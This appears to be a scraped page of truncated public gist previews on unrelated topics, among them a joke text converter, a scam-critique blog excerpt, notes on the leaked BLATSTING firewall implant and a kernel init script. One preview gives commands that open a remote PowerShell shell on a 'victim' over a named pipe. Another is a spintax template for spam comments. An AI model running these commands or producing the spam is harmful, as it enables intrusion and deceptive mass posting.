Pavelovich

#!/usr/bin/python

# Debug strings, comment out entry prompt to test the program
string = "Hello m'lady, please do not friendzone.  I am a really nice guy."
string = "M'Hello m'lady, m'please m'do m'not m'friendzone. M'I m'am m'a m'really m'nice m'guy."

def toNeckbeard(string):
    string = "M'"+string
    string = string.replace(" "," m'")
    string = string.replace("m'm'","m'")

gist:de6b81c556b5dc7cdc8b

#include <unistd.h>
#include <mach/mach.h>
#include <mach/mach_vm.h>
#include <mach-o/dyld.h>

int
main (int argc, char * argv[])
{
  volatile char * library;
  const mach_vm_size_t page_size = getpagesize ();

0xabad1dea

The Scammiest Scam To Yet Anonymity Scam

I'm still holding out for this being a hoax, a big joke, and that they're going to cancel the kickstarter any minute. It'd be quite the cute "lessons learned" about anonymity scams. However, I will be treating it from here on out as a genuine scam. (As of May 2nd, the kickstarter has been cancelled, after the strangest attempt to reply to this imaginable. Good riddance.)

This absolutely ridiculous thing was brought to my attention by a friend and since it was late at night I thought I must be delirious in how absurdly over the top fake it seemed. So I slept on it, woke up, and found that it had gotten a thousand dollars more funding and was every bit as flabbergasting as I thought it was.

Since I realize that not everyone has spent their entire lives studying computers – and such people are the targets of such scams –

eatonphil

{
{I have|I’ve} been {surfing|browsing} online more than {three|3|2|4} hours today, yet
I never found any interesting article like yours. {It’s|It is}
pretty worth enough for me. {In my opinion|Personally|In my view},
if all {webmasters|site owners|website owners|web owners} and bloggers made good content as you did, the {internet|net|web} will be {much more|a lot more} useful than ever before.|
I {couldn’t|could not} {resist|refrain from} commenting.
{Very well|Perfectly|Well|Exceptionally well} written!|
{I will|I’ll} {right away|immediately} {take hold of|grab|clutch|grasp|seize|snatch} your {rss|rss feed} as I {can not|can’t} {in finding|find|to find} your {email|e-mail} subscription {link|hyperlink} or {newsletter|e-newsletter} service.
Do {you have|you’ve} any? {Please|Kindly} {allow|permit|let} me {realize|recognize|understand|recognise|know} {so that|in order that} I {may
just|may|could} subscribe. Thanks.|

uupaa

Image source

https://gyazo.com/eb5c5741b6a9a16c692170a41a49c858.png

Try resize it!

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cocoalabs

man() {
	env \
		LESS_TERMCAP_mb=$(printf "\e[1;31m") \
		LESS_TERMCAP_md=$(printf "\e[1;31m") \
		LESS_TERMCAP_me=$(printf "\e[0m") \
		LESS_TERMCAP_se=$(printf "\e[0m") \
		LESS_TERMCAP_so=$(printf "\e[1;44;33m") \
		LESS_TERMCAP_ue=$(printf "\e[0m") \
		LESS_TERMCAP_us=$(printf "\e[1;32m") \
			man "$@"

laanwj

Wladimir van der Laan 2016. This document is in the public domain.

BLATSTING reverse-engineering notes. Based on files from the EQGRP free dump,
more specifically in Firewall/BLATSTING/BLATSTING_201381/LP/lpconfig.

In https://musalbas.com/2016/08/16/equation-group-firewall-operations-catalogue.html,
BLATSTING is described as "A firewall software implant that is used with EGREGIOUSBLUNDER
(Fortigate) and ELIGIBLEBACHELOR (TOPSEC)".

If true, it's interesting how this implant can target both vendors. Presumably they both use the same Linux

NickTyrer

REGSVR odbcconf.dll

mattifestation

# Command to run on the victim
# This will establish a PowerShell listener over the "pwnme" named pipe
remote /S "powershell.exe" pwnme

# Commands to run on an attacker system - if remote.exe is desired on the client (versus developing your own SMB pipe client)
runas /netonly /user:[Domain|Hostname\Username] "cmd"
remote /C [Hostname\IP] "pwnme"

marcan

#!/boot/bzImage

# Linux kernel userspace initialization code, translated to bash
# (Minus floppy disk handling, because seriously, it's 2017.)
# Not 100% accurate, but gives you a good idea of how kernel init works
# GPLv2, Copyright 2017 Hector Martin <marcan@marcan.st>
# Based on Linux 4.10-rc2.

# Note: pretend chroot is a builtin and affects the current process
# Note: kernel actually uses major/minor device numbers instead of device name